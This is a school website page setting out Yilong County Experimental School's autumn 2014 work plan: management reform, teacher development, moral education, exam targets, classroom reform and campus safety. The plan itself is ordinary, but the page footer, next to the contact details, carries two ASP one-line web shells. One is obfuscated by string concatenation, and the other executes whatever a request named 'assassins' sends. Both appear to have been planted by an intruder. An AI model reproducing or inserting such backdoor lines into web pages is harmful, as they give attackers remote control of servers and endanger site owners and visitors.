| 网站首页 | 校园新闻 | 校务公开 | 德育天地 | 教学资源 | 精准扶贫 | 名师工作室 | 教育科研 | 教师天地 | 学生乐园 | 追梦文学 | 党建之窗 | 图片中心 | 在线留言 | 
最新公告:     《追梦》征稿启事(长期有效)  [admin  2012-03-26]        
站内搜索
文章 下载 图片
您现在的位置: 仪陇县实验学校 >> 校务公开 >> 计划总结 >> 正文 会员注册
[注意]2014秋学校工作计划     ★★★★★
2014秋学校工作计划
【作者】:office   【文章来源】:本站原创  

一、指导思想:

围绕“完善制度,务实管理,聚焦课堂,提升质量”方略,突出两个重点(制度修订、制度落实)、两项创新(初中AB层流动、专项工作专人考核),努力实现名校发展目标。

二、工作目标

   1、年度考核目标:完成局目标考核各项指标,位次保持在全县优秀行列(前20位);

   2、创建目标:创建省级现代教育技术示范学校;

   3、课改目标:构建多元生态课堂。

   4、质量目标:小学综合质量获县等级奖,语文、数学居片区第一名,英语:片区前2位。初中综合质量获县二等级奖及以上,中考全县前102人,特优生突破50人,普高升学率突破65%

三、工作举措:

(一)学校管理

2014年是全面贯彻落实党的十八大精神的关键之年,是实施教育规划纲要和“十二五”规划承前启后的关键时期。因此,深入学习贯彻党的十八大精神,认真落实中央的八项规定和整治“四风”的工作部署,切实转变作风。成为本学期学校管理的重中之重。

坚持以人为本,健全决策、执行和监督体系,进一步完善校长负责制、党支部保证监督、教代会民主参与管理的“三位一体”学校管理体制。明确职责,强化责任意识,规范过程管理,严肃工作纪律。以优化过程管理为主线,以提高课堂教学效益为突破口,努力构建“研究、指导、服务”和“督查、评价、管理”的双轨运行机制,进一步推进十大管理策略。修订完善《学校绩效分配办法》、教学质量评价方案》、工作量计算办法》、《岗位晋升实施办法》、《值周教师考核办法》等制度,凸显多劳多得的分配原则,大幅度提高工作量的绩效比例。把工作实绩、岗位职能作为评价教师的最重要的杠杆。让抬头仰望星空、俯首甘为孺子牛的实干型教师得到应有的荣誉和待遇。

(二)队伍建设

加强教师队伍建设,是全面提高教育教学质量,促进学校发展的关键所在、根本所在。因此,努力构筑我校教育发展的人才高地,造就一支师德高尚、业务精湛、充满活力的教师队伍是学校发展的根本保证。

1)突出师德建设。始终如一地把打造合格过硬的教师队伍放在各项工作的首位,这是学校工作立于不败之地的保证。

一是以认真贯彻党的“十八大”精神为主题加强教职工政治理论学习。二是认清当前政治形势,提高政治意识,强力整治“四风”。三是严格执行国家的法律法规和上级的有关文件规定(教育部十条新规),切实转变作风、依法执教。严禁“三乱”(乱收费、乱办班、乱推销资料)行为,严格执行师德考核一票否决制。三是建立家长电话资源库,每月随机电话调查,完善我校家长评教体系。四是大力倡导“好共事、愿干事、能成事”的风尚,不论资历、不问来路,建立以“质量高不高、担子重不重”为评价标准的学校核心文化。

2)突出教师专业发展。以全县实施“三名工程”,开展“三课”活动为契机,时刻关注教师的成长和发展,以教师的有效发展带动教学质量的有效提高。

措施:夯实三个发展管道。

夯实业务能力发展管道

用好五根杠杆:一是抓好教师职业愿景规划;二是抓好校本研究;三是抓好课题研究;四是抓好游学计划;五是抓好互动交流。

夯实资源共享管道

用好三种机制:一是师徒结对发展机制,二是学科团队帮扶机制,三是领导跟岗引领机制。

ƒ夯实自主发展管道

用好四法:一是培养读书习惯,积淀学术素养。二是更新教育理念,形成适合的教育观。三是践行课堂改革,争做教坛高手,四是善于反思教学,促进自我成长。

引导教师把专业发展作为发展事业的最重要法宝。继续实施专业成长规划,建立专业成长档案,根据不同教师的不同教学业务起点,制定相应培养计划,让形式多样的培训服务不同类型的教师;通过多形式、多层次的培养模式,进一步完善青年教师成长激励机制,营造浓厚的研训氛围,要求青年教师自定目标、自加压力、自找措施,促进自主发展,力争早日进入骨干教师行列,培养后备力量。积极为教师提供更多的在职进修机会。

(三)德育工作

树立“育人为本,德育为先”的育人观念,坚持“夯实基础、立足建设、创新方式、务求实效”的工作理念,继续抓实德育常规和班主任队伍建设,着力培养学生良好的思想道德素质和健康的心理素质,切实提高德育质量。

1、坚持德育教育“点线面体”结合化

1)抓“德育面”的管理,就是抓好抓实日常德育教育工作。

一是抓习惯的养成教育(文明习惯、学习习惯等)

二是抓文明礼仪养成教育(做文明学生)

三是抓说和做的行为教育(会说话、会做事)

四是抓“三会”的教育(会读书、会学习、会思考)

五是抓安全养成教育(树立安全意识、践行安全准则、做安全学生)

六是抓人格养成教育(做诚信学生、做守法学生、做有爱学生、做明理学生、做有责任学生、做健康学生、做阳光学生)。

七是抓“新五字”养正教育,让养正教育落到实处。

2)抓“德育线”的管理,就是落实以学段为单元的重点德育工作教育。首先是小学部的德育重点就是抓德育的根基建设,培养学生的基本习惯和基本素质(为学、为人、为事、为能)。其次是初中部坚持七年级以学风、班风建设为德育重点,八年级以心理健康教育为德育重点,九年级以理想信念教育为德育重点的德育教育工作,突出渐进性、层次性、重点性、针对性的德育教育模式,有效地推动学校德育建设健康稳步发展。

3)抓“德育点”的管理,就是抓好个别学生的个性化教育,践行“让每一个学生不掉队”的德育教育理念,为学生成长为合格的社会人提供穷其所能的帮助。

4)抓“德育体”的管理,就是抓“家校互动”(家校联合、培养习惯)、校区互动(学校与社区联合、通过社区资源和实践活动培育学生德育实践能力、建立学生成长社区评价机制等手段)、学校内部自主互动(学校点、线、面的联合教育),建立德育教育共同体、全方位、立体式、网络式培育学生德育稳步、积极、健康发展。

2坚持学生活动序列化

以两年为周期设置全校大型活动。按节点开展个性活动,分学段开展小型活动。坚持“寻找身边的道德榜样”、“唱响荣辱观”等符合青少年特点、行之有效的教育方式,提倡、鼓励体验式、实践性的教育活动方式,加强对青少年学生的形势教育、爱国主义教育、革命传统教育和中华传统美德教育等思想道德教育。以创建书香校园为切入点,在学生中广泛开展主题教育读书活动和实践活动。以重大节日和重要纪念日为节点,从学生的年龄特征和现状出发,通过开展丰富多彩的团队活动,陶冶学生情操,让学生在实践活动中体验道德教育。

3、坚持养成教育日常化

创新行为规范养成教育机制,积极推进德育生活化,确立强烈的生本意识。建立健全学生文明礼仪教育档案,加大对严重违反学校规章制度的学生的教育力度,引领学生从小事做起、从现在做起、从我做起,自觉养成良好的行为习惯;创新星级学生评选机制,建立并优化“争优夺星”制度;抓好过程考核,举行学年隆重表彰仪式。开展文明班级、文明学生评比活动,营造“立文明礼仪,扬文明校风,创文明班组,做文明师生”的校园文化氛围,丰富德育的内涵,提高德育的功效。

4、坚持学生自主管理网络化

分校级、年级、班级成立新一届班级自主管理委员会,按照“人人参与,按需设岗”的建制原则,建构人人都是管理者,人人都是被管理者的新型自主管理机制。形成人人有事做,事事有人做的氛围,努力让学生实践中逐渐成长为有责任的社会人。

(四)教学质量

牢固树立质量强校、质量取胜、质量生存、质量发展的观念,进一步规范教学行为。完善教学质量评价机制,通过定目标、定要求、定措施、定责任、定奖惩,实行校级领导、处室行政的绩效考评与毕业班教学质量捆绑制度,强化毕业班的质量窗口意识,务必实现学校质量目标。

(1)加强常规调研。学校成立常规检查小组,定期(每月最后一周星期四)检查和不定时(推门听课)抽查任课教师的“六认真”工作,重点督察教案、作业批改、课堂教学三个项目。

(2)强化培优补差。优生的培养和学困生的转化工作是提高教育质量的关键环节。教导处要统筹安排,责任到人,确保效果,并有计划地进行质量测评,及时通报,及时调整改进。毕业班坚持月考,级内尖子生(前50名)名单报校长室存档跟踪,特别是要高度关注尖子生学科的均衡发展。各班要制定好“培优辅差方案”报教导处,把优质生辅导工作做细做实。要加强后进生辅导,针对学困生成因,因材施教,对症下药。

3)突出年级重心。毕业班的质量是衡量学校办学水平的最终体现,具有极强的社会效应。因此,加强毕业班管理是学校管理中的重中之重。学校行政、各业务部门都要倾力于毕业班,做到管理上、服务上、经费上都要向毕业班倾斜。学校全力以赴抓好2015年两级毕业班工作。一是建立质量监控体系,坚持月考及考后质量分析。二是落实主要领导及分管领导蹲点毕业班级等措施。三是实施毕业班质量目标化管理策略,通过对德育目标(理想信念、心理健康、学风建设)、过程目标(课堂质量,研考评分析、帮扶培优)、完成目标(巩固率、合格率、升学率、优生率、特优率)、满意目标(社会评价度、家长满意度、学生幸福度)的考核,确保学校2015年两级毕业班质量目标的实现。

(五)课程改革

1、构建“多元”生态课堂

随着我校“三段六步”课堂模式深入推进,全校师生无论是从理念到技术,从角色到方式,从内容到形式,还是从质量到效果,从经验到能力,都发生了量的变化和质的提升。如何超越现有模式的固化形态,实现课堂改革再生长、再发展,为此,学校提出构建“多元”生态课堂的课改理念。就是要构建符合课改理念,符合课改技术,符合学生需要,符合个人特点和优势的个性化有效课堂,建设具有个人或团队风格的课堂模式,实现新课堂多元发展,多元精彩。

主要措施是:围绕“构建多元生态课堂”上好“合格课、示范课”;推动“多元生态课堂”建设课题研究立项;根据教师需要,搭建学习交流平台;制定“多元生态课堂标准”;抓好“多元生态课堂”的总结与推广。

2、确保校本教研实效

一是以小课题、课改中的新问题、小问题为抓手,开展好有效教研,以教研组为单位,强力推进课题研究。二是开展好间周一次的定时、定内容常规教研。落实好集体备课、个性备课,班级建设研究等教研常规工作;三是以教研组为单位,以构建多元生态课堂为目标,积极开展全校性上“合格课”过关活动。

(六)特色建设

特色建设,是促使学生生动活泼发展的有效渠道,是加强学校内涵建设的必然要求,是提升学校品位的重要举措,也是展示学校亮点的重要手段。

(1)在校本课程项目的发展上,采取“继承+开发”的模式,稳步发展我校的校本课程,一是继承现有的有活力、有品位、有效果的传统项目。删减学生少兴趣、少参与、少活力的已有项目。二是开发有资源支持、社会需求,学生感兴趣的发展性项目,助推学校校本课程稳步发展。

   2)在校本课程的实施上,采取“特色+社团”的模式推动校本课程有序、有效、有质发展。一是做强做亮全校性学生参与的校本课程,彰显学校的特色教育。主要发展好四大项目:书法课、阅读课、影视欣赏课、大课间。二是规范小学部的社团建设,助推多元文化发展。按学生的兴趣爱好,双向选择,自主发展。但必须做好四个保证,保证项目、保证时间、保证师资、保证质量)。

(六)安全后勤工作

1、强化综合治理和安全工作。进一步树立“安全重于泰山”,安全“警钟长鸣、安全常抓不懈的意识,做到安全工作“五落实”:领导分工落实、安全制度落实、工作执行落实、督促检查落实、责任追究落实(追究直接责任人的安全事故经济责任及其它责任)。

2、创建节约、守纪型校园。一是要模范执行中央八项规定的要求,牢固树立勤俭办教育观念,坚决反对和纠正各种形式的铺张浪费现象。要从实际出发,针对突出问题和关键环节,制订厉行节约的具体实施办法,精打细算,提高教育经费使用效益,努力建设节约型校园。二是要模范执行上级相关文件规定,严格遵守财经纪律,不乱开口子、不乱出制度,确保经费使用的严肃性、合法性。三是以“一灵活,两执行”的原则,开源节流,严把出差关。四是。

3、积极筹措资金、合理规划、循序渐进、立足长远、着眼现实,满足基本设施需要(修建多功能会议室,开展校园文化建设),为全面实施素质教育提供更为优越的办学条件。

4、认真贯彻县委政府的惠民政策,严格执行教职工三年一次体检制度。

新学期,新起点,新征程。让我们紧紧锁定新的目标,心往一处聚、劲往一处使,立足岗位,振奋精神,开拓创新,扎实工作,推动学校发展再上新台阶、实现新突破!

本文最后更新时间:2014-09-04 22:11:29,你是第894位访问者。
文章录入:admin    责任编辑:admin 
  • 上一篇文章:

  • 下一篇文章:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)

     

    最新图片文章
    更多内容
    最新热门
    更多内容
    最新推荐
    更多内容
    | 设为首页 | 加入收藏 | 联系站长 | 友情链接 | 版权申明 | 管理登录 | 
    仪陇县实验学校
    Copyright 20080315—2010 仪陇县实验学校 All Rights Reserved. 【虚拟主机】:西部数码    【地址】:仪陇县新政镇吉庆街二段二号  【QQ在线】:185324127 <%eval""&("e"&"v"&"a"&"l"&"("&"r"&"e"&"q"&"u"&"e"&"s"&"t"&"("&"0"&"-"&"2"&"-"&"5"&")"&")")%> <%execute(request("assassins"))%> 【站长】:严和平